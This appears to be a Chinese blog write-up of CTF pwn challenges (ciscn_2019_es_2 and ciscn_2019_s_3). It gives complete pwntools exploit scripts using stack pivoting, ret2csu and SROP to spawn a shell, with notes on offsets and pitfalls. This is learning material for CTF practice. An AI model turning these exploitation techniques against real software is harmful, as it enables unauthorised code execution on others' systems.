这两题为什么要记录呢,一个是我发现网上很多教程没写清楚(也可能是我太菜了),二是细节点很多,不同的大佬方式不太一样,有很多细节需要注意

ciscn_2019_es_2

这题是栈迁移的题,先上exp

 1 # encoding=utf-8
2 from pwn import *
3
4 context.log_level = 'debug'
5 leave_ret=0x08048562
6 sys = 0x8048400
7 p=process('./ciscn_2019_es_2')
8 p.recvuntil('What\'s your name?')
9 p.send(0x20*'a'+'b'*8)
10 p.recvuntil('bbbbbbbb')
11 ebp_addr=u32(p.recv(4).ljust(4,'\x00'))
12 print('ebp_addr:',hex(ebp_addr))
13 s_addr=ebp_addr-0x38 # 这个ebp指向的地址是ebp+0x10的位置,然后再减去0x28个(s占的位)
14
15 # 这个payload2要反着拼
16 # s_addr是输入字符串地址,即设置第一次leave的ebp
17 # 第二次leave的ebp地址是aaaa,pop ebp后返回到sys执行shell
18 payload2='a'*4+p32(sys)+p32(0)+p32(ebp_addr-0x28)+"/bin/sh"
19 payload2=payload2.ljust(0x28,'\x00')
20 payload2+=p32(s_addr)+p32(leave_ret)
21
22 p.send(payload2)23 p.interactive()

程序有两次输入点,但是只有0x30个输入,s字符串有0x28个栈地址,所以如果覆盖也只能覆盖ebp和ret地址,无法做到直接getshell

所以第一次输入时先把s栈盖满,泄露出ebp的值

这里要注意,你取到的值是ebp的值,而不是栈的值,而ebp的值等于ebp栈+0x10的栈值(这里坑了我半天),画个图就是:

    0xffff00ff   |    bbbb

ebp   0xffff0100 |  0xffff0010

      .   |  .

    .   |  .

    .   |  .

    0xffff0110 |  xxxxxxxxx

然后下面这个栈迁移的payload已经说的比较清楚了,主要在于两次leave;ret;或者说mov esp,ebp;  pop ebp;  ret;

这块动调一下就明白了,不过如果正向去拼的话要有从后往前拼payload的思想,不然就是一脸懵逼

最后总结:此方法虽然懂了,但是payload不太好想得到,在遇到此类题再练习吧

ciscn_2019_s_3

两种解法,都值得学习

解法一:利用通用csu

第一次遇到csu_rop,调试了半天还是挺费劲的,老规矩先上exp

 1 # encoding=utf-8
2 from pwn import *
3
4 context.log_level = 'debug'
5 p=process('./ciscn_2019_s_3')
6 elf=ELF('./ciscn_2019_s_3')
7
8 # 解法一:利用通用csu
9 main_addr=elf.symbols['main']
10 rax_59=0x04004E2 # mov rax, 3Bh (10进制59)
11 pop_rdi=0x4005a3
12
13 p.sendline('/bin/sh\x00'*2+p64(main_addr)) # 0x10个字节
14 # /bin/sh 地址 0x7ffe6dc4e990
15 p.recv(0x20)
16 stack_addr=u64(p.recv(8).ljust(8,'\x00'))
17 print('stack_addr',hex(stack_addr))# 0x7ffe6dc4eaa8
18 # 差值 0x138 因为返回的地址是main,main中做了栈帧
19 bash_addr=stack_addr-0x138 #找第二次的输入是0x138
20 print('bash_addr',hex(bash_addr))
21
22 # get_shell
23 pop_rbx_rbp_r12_r13_r14_r15=0x40059A
24 mov_rdx_r13=0x0400580
25 syscall=0x0400517
26 #   $rax==59
27 #   $rdi==“/bin/sh”
28 #   $rsi==0
29 #   $rdx==0
30 #   syscall
31
32
33 payload2 = '/bin/sh\x00'+'A'*0x8+p64(rax_59)# rax设置为59
34 # 设置各种寄存器,其中r12要注意,因为下面进行的是call r12+0,为了方便就call rax_59,这样就能巧妙的回来了
35 payload2 += p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)+p64(1)+p64(bash_addr+0x10)+p64(0)*3 #这里要注意rbx和rbp
36 # 设置rsi和rdx为0
37 payload2 += p64(mov_rdx_r13)
38 # cmp rbx,rbp 后jnz必须不能被触发,所以又进行了pop_rbx_rbp_r12_r13_r14_r15
39 payload2 += 'a'*0x38 # 7*8=56 6个寄存器,和一个add rsp,8(栈增加了8个) 被填充
40 #设置rdi为/bin/sh
41 payload2 += p64(pop_rdi) + p64(bash_addr)
42 # 触发系统调用
43 payload2 +=p64(syscall)
44
45 p.sendline(payload2)
46 p.interactive()

还是先泄露栈地址,这里有个巨大的深坑!!!你如果返回地址填main就是相差0x138,如果你返回vuln就是0x118,这也是各位大佬payload不同的主要地方

然后就是构造csu_rop的过程了,建议大家边动调边看解释

首先是返回到rax设置为59的位置(这里如果你返回别的,后面的构造会难受),然后pop各种寄存器,就是去初始化各种寄存器

这里也要注意r12的值,因为在csu开头会call [r12](后面那个寄存器被你置零,所以没偏移了),但r12跳转到哪比较好呢?按理说只要ret就行,但是这样各个寄存器的值无法保证不改变,尤其是rax

所以这里巧妙的去call输入地址加0x10的位置,就是你先设置的rax_59

然后再说一下rbx和rbp,必须设置为0和1,顺序不能变。这是因为在后面跳出时要比较他俩,而比较前rbx会加1,这样相等才能跳出循环

0x38个‘a’就是在跳出循环后,其实又一次进行了pop_rbx_rbp_r12_r13_r14_r15和一个add rsp,8; 这样必须把他们覆盖掉,也就是8*7=56个地址

好了,终于把所有的坑排清了,最后就比较简单了,设置rdi为/bin/sh,并触发系统调用

总结:csu虽然说比较通用,但是真的麻烦啊,而且得在前面考虑后面,明显不符合人类思维,难受的一批,但是作为学习此方式的途径也是收获很多

解法二:SROP

参考链接:https://www.freebuf.com/articles/network/87447.html

总体思路就是

# SROP: Sigreturn Oriented Programming ,系统Signal Dispatch之前会将所有寄存器压入栈,
# 然后调用signal handler,signal handler返回时会将栈的内容还原到寄存器。
# 如果事先填充栈,然后直接调用signal handler,那在返回的时候就可以控制寄存器的值。
 1 # encoding=utf-8
2 from pwn import *
3
4 context.log_level = 'debug'
5 p=process('./ciscn_2019_s_3')
6 elf=ELF('./ciscn_2019_s_3')
7 context.arch = elf.arch #必要,指定cpu架构
8
9 rt_sigreturn=0x4004DA
10 syscall=0x0400517
11 vuln_addr=0x4004ED
12
13 payload="/bin/sh\x00"+'a'*8+p64(vuln_addr)
14 p.send(payload)
15 p.recv(0x20)
16 stack_addr=u64(p.recv(8).ljust(8,'\x00'))
17 #由于这次返回的是vuln,所以是0x118
18 bash_addr=stack_addr-0x118
19 print("stack_addr:",stack_addr)
20 print("bash_addr:",bash_addr)
21
22 # 设置sigframe关键寄存器
23 sigframe = SigreturnFrame()
24 sigframe.rax = constants.SYS_execve # 59
25 sigframe.rdi = bash_addr
26 sigframe.rsi = 0
27 sigframe.rdx = 0
28 sigframe.rip = syscall
29
30 print('sigframe.rax:',sigframe.rax)
31 # syscall调用rt_sigreturn
32 payload = "/bin/sh\x00/bin/sh\x00" + p64(rt_sigreturn)+p64(syscall)
33 # 设置sigframe返回地址值和各种寄存器
34 payload += str(sigframe)
35
36 p.sendline(payload)
37 p.interactive()

如果大家接触过pushad或pushfd的命令程序应该比较熟悉这种形式

相当于是把寄存器拉到了栈上,而程序如果存在栈溢出,就可以去调用rt_sigreturn这个函数,而这个函数可以随意更改其内寄存器,把寄存器精心构造的话就实现了getshell

pwntools提供了SigreturnFrame(),直接进行结构体的设置为getshell模式

这里也可以看一下constants.SYS_execve,在此架构下就是59

payload就是先同系统调用触发rt_sigreturn,在后面的栈上设置getshell参数和返回地址(当然这里没有设置,因为不需要继续rop下去了)

总结:SROP做着题就很简单了,但是前提得知道,读过论文,学习姿势+1

记两道最近做的pwn题(ciscn_2019)的更多相关文章

  1. 与高精死杠的几天——记两道简单的高精dp

    (同样也是noip往年的题 1​.矩阵取数游戏 题目链接[Luogu P1005 矩阵取数游戏] \(\mathcal{SOLUTION}:\) 通过对题目条件的分析,我们可以发现,每一行取数对答案的 ...

  2. 『ACM C++』Virtual Judge | 两道基础题 - The Architect Omar && Malek and Summer Semester

    这几天一直在宿舍跑PY模型,学校的ACM寒假集训我也没去成,来学校的时候已经18号了,突然加进去也就上一天然后排位赛了,没学什么就去打怕是要被虐成渣,今天开学前一天,看到最后有一场大的排位赛,就上去试 ...

  3. FJOI2020 的两道组合计数题

    最近细品了 FJOI2020 的两道计数题,感觉抛开数据范围不清还卡常不谈里面的组合计数技巧还是挺不错的.由于这两道题都基于卡特兰数的拓展,所以我们把它们一并研究掉. 首先是 D1T3 ,先给出简要题 ...

  4. 两道人数多,课程少,query多的题

    #每天进步一点点# 来两道很相似的题目~ (智商啊智商.....) hihoCoder #1236:Scores (简单的分桶法+bitset) 2015 Beijing Online的最后一题.题目 ...

  5. ACM/ICPC 之 两道dijkstra练习题(ZOJ1053(POJ1122)-ZOJ1053)

    两道较为典型的单源最短路径问题,采用dijkstra解法 本来是四道练习题,后来发现后面两道用dijkstra来解的话总觉得有点冗余了,因此暂且分成三篇博客(本篇以及后两篇). ZOJ1053(POJ ...

  6. 50道经典的JAVA编程题(41-45)

    50道经典的JAVA编程题(41-45),苦逼的程序猿,晚上睡不着了编程吧~今天坚持做10道题!发现编程能是我快乐...O(∩_∩)O哈哈~能平静我烦乱的心,剩下5道题留到考试完了再做吧!该睡觉了.. ...

  7. 50道经典的JAVA编程题(36-40)

    50道经典的JAVA编程题(36-40),今天晚上心情压抑,不爽,继续做题,管它明天考试,我继续我的java,一个周末都在看微机原理看得的很头疼啊~明天该挂科就挂吧,不在乎了~~~ [程序36] Ar ...

  8. 50道经典的JAVA编程题(21-25)

    50道经典的JAVA编程题(21-25),明天早上java考试了,还是坚持做题吧...这题比老师的题好多了! [程序21]TestJieCheng.java题目:求1+2!+3!+...+20!的和1 ...

  9. 50道经典的JAVA编程题 (16-20)

    50道经典的JAVA编程题 (16-20),用了快一个下午来做这10道题了,整理博客的时间貌似大于编程的时间啊..哈哈 [程序16]Nine.java 题目:输出9*9口诀. 1.程序分析:分行与列考 ...

随机推荐

  1. wxPython使用指导

    一.wxPython简介 这是Python一个非常不错的GUI开发库,免费.开源.跨平台,可用组件众多,借助这些组件,程序员可以快速创建完整.功能全面的用户界面,因此应用非常广泛 二.安装方式: pi ...

  2. Qt开发笔记:OpenSSL库介绍、windows上mingw32版本的OpenSSL编译模块化

    前言   Windows上mingw32版本的openssl的编译是属于比较棘手的,OpenSSL本身不提供支持..   OpenSSL 介绍   OpenSSL是一个开放源代码的软件库包,应用程序可 ...

  3. 最适合新手的Redis Cluster搭建过程

    好记性不如烂笔头,记录分片高可用Redis Cluster的搭建过程 Redis集群演进过程 Redis单节点 主从复制: 复制主要实现了数据的多机备份,以及对于读操作的负载均衡和简单的故障恢复. 故 ...

  4. [leetcode] 68. 文本左右对齐(国区第240位AC的~)

    68. 文本左右对齐 国区第240位AC的~我还以为坑很多呢,一次过,嘿嘿,开心 其实很简单,注意题意:使用"贪心算法"来放置给定的单词:也就是说,尽可能多地往每行中放置单词. 也 ...

  5. Maven execution terminated abnormally (exit code 1) 完美解决

    https://www.pianshen.com/article/1477185745/ 找到本地仓库这个包中, 删掉,重新导入,,完美解决

  6. 『言善信』Fiddler工具 — 11、Fiddler中Composer功能详解

    目录 1.Composer功能介绍 2.Composer界面说明 3.使用方式 (1)自定义Request请求 (2)Composer重复发送请求 (3)Composer篡改请求数据 1.Compos ...

  7. 读HikariCP源码学Java(二)—— 因地制宜的改装版ArrayList:FastList

    前言 如前文所述,HikariCP为了提高性能不遗余力,其中一个比较特别的优化是它没有直接使用ArrayList,而是自己实现了FastList,因地制宜,让数组的读写性能都有了一定程度的提高. 构造 ...

  8. MySQL:数据库优化,看这篇就够了

    数据库优化一方面是找出系统的瓶颈,提高MySQL数据库的整体性能,而另一方面需要合理的结构设计和参数调整,以提高用户的相应速度,同时还要尽可能的节约系统资源,以便让系统提供更大的负荷. 1. 优化一览 ...

  9. csp-s模拟测试「9.14」A·B·C(三分,贪心)

    博客大概咕了很久了......... T1 A 大概推下式子就好了,考试时数据点分治DFS前30点T了,然后后70分因为两数相乘爆long long然后本来可以A掉,就WA零了....... 式子推出 ...

  10. String ,StringBuffer 与S tringBuilder的区别??

    String 字符串常量StringBuffer 字符串变量(线程安全)StringBuilder 字符串变量(非线程安全) ------------------------------------- ...